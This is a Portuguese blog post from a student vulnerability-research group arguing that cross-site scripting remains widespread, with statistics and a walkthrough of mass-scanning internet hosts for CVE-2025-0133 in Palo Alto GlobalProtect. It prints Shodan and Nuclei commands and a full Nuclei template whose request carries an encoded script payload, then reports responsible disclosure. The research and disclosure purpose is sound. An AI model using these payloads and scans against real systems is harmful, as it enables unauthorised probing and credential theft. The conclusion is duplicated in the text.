Featured image of post XSS Não Está Morto - Hacktiba Pulse 07

XSS Não Está Morto - Hacktiba Pulse 07

Com base em descobertas reais do projeto CVE-Hunters, este artigo mostra por que essa vulnerabilidade clássica ainda merece atenção nas aplicações web atuais.

Introdução: “XSS? Ainda?”

Em pleno 2025, ainda estamos falando de XSS? Sim, ainda estamos. Mesmo com o uso de frameworks modernos, WAFs inteligentes e uma infinidade de artigos explicando como mitigar essa ameaça, o Cross-Site Scripting (XSS) continua presente, sorrateiro, persistente e muitas vezes negligenciado.

O XSS é uma das primeiras vulnerabilidades abordadas em cursos introdutórios de segurança ofensiva e testes de invasão em aplicações web. Com um payload simples, instrutores demonstram como essa falha é trivial de ser explorada, evidenciando o perigo e a facilidade de sua exploração.

Mas o que é XSS, afinal? De acordo com a OWASP, ataques de Cross-Site Scripting são um tipo de injeção na qual scripts maliciosos são inseridos em sites vulneráveis. Esses ataques ocorrem quando um invasor usa uma aplicação web para enviar código malicioso, geralmente scripts executados no navegador, para outro usuário. As falhas que tornam esses ataques possíveis são bastante comuns e surgem sempre que uma aplicação web incorpora a entrada do usuário na saída gerada sem realizar a validação ou codificação apropriadas.

Também de acordo com a OWASP, o navegador da vítima não possui mecanismo para distinguir scripts legítimos de maliciosos. Assim, ao receber e executar o código, ele confia que ele veio de uma fonte segura. Como resultado, o invasor pode acessar cookies, tokens de sessão e outras informações confidenciais armazenadas pelo navegador, bem como reescrever o conteúdo da página ou redirecionar o usuário para sites maliciosos disfarçados de legítimos.

Exemplo simples de payload de XSS para executar mensagem.

CVE-Hunters vs XSS

O grupo CVE-Hunters foi criado em novembro de 2024 como uma iniciativa conjunta entre alunos e um professor, com um objetivo claro: identificar vulnerabilidades (CVEs) em projetos de código aberto. A proposta era proporcionar aos alunos experiência prática na busca por falhas em ambientes reais, indo além de laboratórios controlados ou desafios de Capture The Flag (CTF).

Desde então, o grupo analisou uma ampla gama de projetos, desde pequenos sistemas comunitários até aplicações amplamente utilizadas nos setores público e educacional. Ao longo do caminho, um padrão se destacou: a frequência com que vulnerabilidades de Cross-Site Scripting (XSS) foram encontradas.

Essa recorrência levanta uma questão importante: os desenvolvedores pararam de tratar o XSS com a devida seriedade? Apesar de ser uma falha amplamente documentada e conhecida há anos, ela ainda aparece com frequência. Mesmo em organizações com processos de desenvolvimento maduros, vulnerabilidades de XSS continuam a aparecer devido à complexidade dos fluxos de entrada e saída, ao uso de bibliotecas legadas ou à falta de testes contextualizados.

Atualmente, o grupo tem 135 vulnerabilidades reportadas, 53 das quais já foram oficialmente registradas como CVEs. Do total de vulnerabilidades descobertas, 104 são do tipo XSS, o que representa uma proporção significativa e preocupante.

Tipos de Vulnerabilidades encontradas pelo CVE-Hunters

Foram identificadas 62 ocorrências do tipo armazenado e 42 do tipo refletido, revelando uma distribuição relativamente equilibrada.

Quantidade de XSS Armazenado vs Refletido

Essas estatísticas por si só reforçam a ideia de que o XSS ainda é um problema real, frequentemente ignorado durante o desenvolvimento, e que continua a merecer atenção, tanto da comunidade técnica quanto dos desenvolvedores responsáveis ​​por aplicativos em produção.

Experiência prática

Você pode estar pensando: "Ok, o grupo CVE-Hunters encontrou muitos XSS em projetos de código aberto, mas quem pode dizer que grandes empresas também são vulneráveis?"

Vamos fazer um experimento rápido com um dos XSS mais recentes divulgados durante a escrita deste artigo: CVE-2025-0133. Um XSS refletido nos produtos de gateway e portal GlobalProtect, recursos do PAN-OS da Palo Alto Networks, publicado em 14 de maio de 2025.

Com uma simples consulta no Shodan, podemos verificar a estimativa de uso deste produto no mundo.

Busca por páginas com Global Protect no Shodan

No entanto isso não significa que todos estão vulneráveis. Vamos ao experimento para este artigo.

Primeiro, extraímos alguns resultados do Shodan, uma pequena amostragem do montante total:

1
shodan search --fields hostnames 'http.title:"GlobalProtect Portal" port:443' | grep -v '^$' > globalprotect-hostnames.txt

Shodan CLI usado para exportar páginas com Global Protect

Depois disso, podemos usar o Nuclei para testar essa vulnerabilidade e automatizar o teste:

1
nuclei -l globalprotect-hostnames.txt -t CVE-2025-0133.yaml

Resultado Nuclei template CVE-2025-0133

Template do nuclei utilizado para realizar o scan: CVE-2025-0133.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
id: CVE-2025-0133

info:
  name: PAN-OS - Reflected Cross-Site Scripting
  author: xbow,DhiyaneshDK
  severity: medium
  description: |
    A reflected cross-site scripting (XSS) vulnerability in the GlobalProtect™ gateway and portal features of Palo Alto Networks PAN-OS® software enables execution of malicious JavaScript in the context of an authenticated Captive Portal user's browser when they click on a specially crafted link.The primary risk is phishing attacks that can lead to credential theft—particularly if you enabled Clientless VPN.
  reference:
    - https://security.paloaltonetworks.com/CVE-2025-0133
    - https://hackerone.com/reports/3096384
  classification:
    epss-score: 0.00102
    epss-percentile: 0.29276
  metadata:
    verified: true
    max-request: 1
    shodan-query:
      - http.favicon.hash:"-631559155"
      - cpe:"cpe:2.3:o:paloaltonetworks:pan-os"
    fofa-query: icon_hash="-631559155"
    product: pan-os
    vendor: paloaltonetworks
  tags: hackerone,cve,cve2025,xss,panos,global-protect

http:
  - raw:
      - |
        GET /ssl-vpn/getconfig.esp?client-type=1&protocol-version=p1&app-version=3.0.1-10&clientos=Linux&os-version=linux-64&hmac-algo=sha1%2Cmd5&enc-algo=aes-128-cbc%2Caes-256-cbc&authcookie=12cea70227d3aafbf25082fac1b6f51d&portal=us-vpn-gw-N&user=%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cscript%3Eprompt%28%22XSS%22%29%3C%2Fscript%3E%3C%2Fsvg%3E&domain=%28empty_domain%29&computer=computer HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>prompt("XSS")</script>'
          - 'authentication cookie'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402202037be3477c0e16d7bb7cfb9874bf1cb6894a1d8035d64115db72607a539a54502203a1dac9b97514abef71fdb6a73d681f64f788f43605f2235f1fbfd26f6ddac2c:922c64590222798bb761d5b6d8e72950

Obtivemos um número significativo de hosts vulneráveis. Em seguida, tentamos identificar, entre esses resultados, quaisquer hosts que tivessem um VDP público, para que pudéssemos notificá-los sobre a vulnerabilidade. Essa etapa é um pouco complexa de ser realizada manualmente, por isso utilizamos inteligência artificial para cruzar os domínios extraídos do Shodan com informações disponíveis na internet sobre empresas que possuem programas de recompensa por bugs ou VDPs abertos.

Durante esta pesquisa, encontramos apenas dois domínios com VDPs públicos — um de uma grande empresa do setor privado e o outro de uma agência governamental. Ambos estão localizados nos Estados Unidos: um com um VDP hospedado no BugCrowd e o outro com um VDP privado, acessível por e-mail.

Relatamos ambas as vulnerabilidades às empresas de forma responsável.

POC XSS Refletido em um dos alvos encontrados

Divulgação Responsável via Bug Crowd

É importante destacar que a amostra testada representa apenas uma fração dos sistemas expostos.

Mais números

Se você ainda não está convencido pela quantidade de XSS que temos por aí, podemos fazer outra pesquisa simples no GitHub Advisory Database, onde obtemos um retorno de mais de 31.611 ocorrências relacionadas a XSS.

Se ainda não está convencido da quantidade de XSS que temos por ai, podemos fazer mais uma pesquisa simples no GitHub Advisory Database onde temos um retorno de mais de 31.611 ocorrências relacionadas a XSS.

Pesquisa de XSS no GitHub Advisory Database

Uma busca no banco de dados de CVE (Common Vulnerabilities and Exposures) também revela um número significativo de vulnerabilidades registradas relacionadas ao XSS, demonstrando sua recorrência em diferentes sistemas, aplicações e contextos ao longo dos anos.

Pesquisa de XSS no MITRE

Além disso, uma busca realizada na plataforma HackerOne, amplamente reconhecida no ecossistema de Bug Bounty, resulta em um total de 2.225 relatórios públicos envolvendo vulnerabilidades de Cross-Site Scripting. Esses dados reforçam não apenas a prevalência do XSS, mas também o interesse contínuo da comunidade de segurança em explorá-lo e relatá-lo, mesmo em ambientes com altos padrões de segurança.

Pesquisa por XSS no Hacker One

O que dá para fazer com um XSS além do alert(1)?

O famoso alert(1) costuma ser o primeiro exemplo usado para demonstrar uma falha de XSS. No entanto, os impactos reais dessa vulnerabilidade vão muito além de uma simples janela de alerta. Abaixo, listamos algumas ações maliciosas clássicas e conhecidas que podem ser realizadas por um invasor ao explorar uma falha de Cross-Site Scripting:

  • Roubo de Cookie, (se o cookie não estiver protegido com o sinalizador HttpOnly);
  • Sequestro de Sessão, assumindo a identidade da vítima em aplicativos autenticados;
  • Keylogging, capturando tudo o que o usuário digita na página comprometida;
  • Redirecionamentos Maliciosos para páginas falsas, com o objetivo de aplicar golpes;
  • Execução de ações em nome do usuário, como enviar mensagens, alterar configurações ou excluir dados;
  • Execução Remota de Código, embora rara e dependendo do contexto específico, pode ser possível obter acesso remoto a o sistema a partir de um XSS.

Esses exemplos mostram que, embora o XSS seja uma vulnerabilidade frequentemente subestimada, ele pode ter consequências graves, especialmente quando explorado em aplicativos com dados confidenciais ou com alto nível de privilégio para o usuário afetado.

Conclusão

O XSS não morreu; talvez tenha sido apenas ignorado diante de novas ameaças mais "glamourosas". Mas sua presença silenciosa continua a oferecer uma superfície de ataque explorável, muitas vezes com impacto crítico.

Apesar de frequentemente ser classificado como uma vulnerabilidade de gravidade média ou mesmo baixa, o XSS não deve ser subestimado. Seu impacto pode ser significativo, especialmente quando envolve roubo de cookies, sequestro de sessão ou redirecionamento para páginas maliciosas. E o que é mais perigoso: as proteções tradicionais nem sempre são suficientes para impedir que o usuário seja induzido a clicar naquele site de phishing que está usando uma URL legítima com uma vulnerabilidade XSS.

Afinal, o XSS geralmente depende de um único clique e, nesse cenário, o elo mais fraco geralmente é o próprio usuário. Não importa quão robusta seja sua estrutura ou quão bem configurada esteja sua WAF: se o invasor conseguir criar um link malicioso convincente, basta uma ação desatenta da vítima para que o ataque se concretize.

Enquanto nós confiamos em estruturas e WAFs, o invasor confia em nossa falta de cuidado e na curiosidade do usuário.

Apesar de muitas vezes ser classificado como uma vulnerabilidade de severidade média ou até baixa, o XSS não deve ser subestimado. Seu impacto pode ser significativo, especialmente quando envolve o roubo de cookies, sequestro de sessão ou redirecionamento para páginas maliciosas. E o mais perigoso: nem sempre as proteções tradicionais são suficientes para impedir que o usuário seja enganado e clique naquele phishing que está utilizando uma URL legítima com vulnerabilidade de XSS.

Afinal, o XSS frequentemente depende de um simples clique, e nesse cenário, o elo mais fraco costuma ser o próprio usuário. Não importa o quão robusto seja seu framework ou quão bem configurado esteja seu WAF: se o atacante conseguir criar um link malicioso convincente, basta uma ação desatenta da vítima para que o ataque se concretize.

Enquanto confiamos em frameworks e WAFs, o atacante confia no nosso descuido,e na curiosidade do usuário.

Escrito por

Natan Maia Morette

Colaboradora

Karina Gante

Parceria

Esse post foi feito em parceria com Hacktiba para o Pulse 07.

Por: CVE-Hunters

Built with Hugo
Theme Stack designed by Jimmy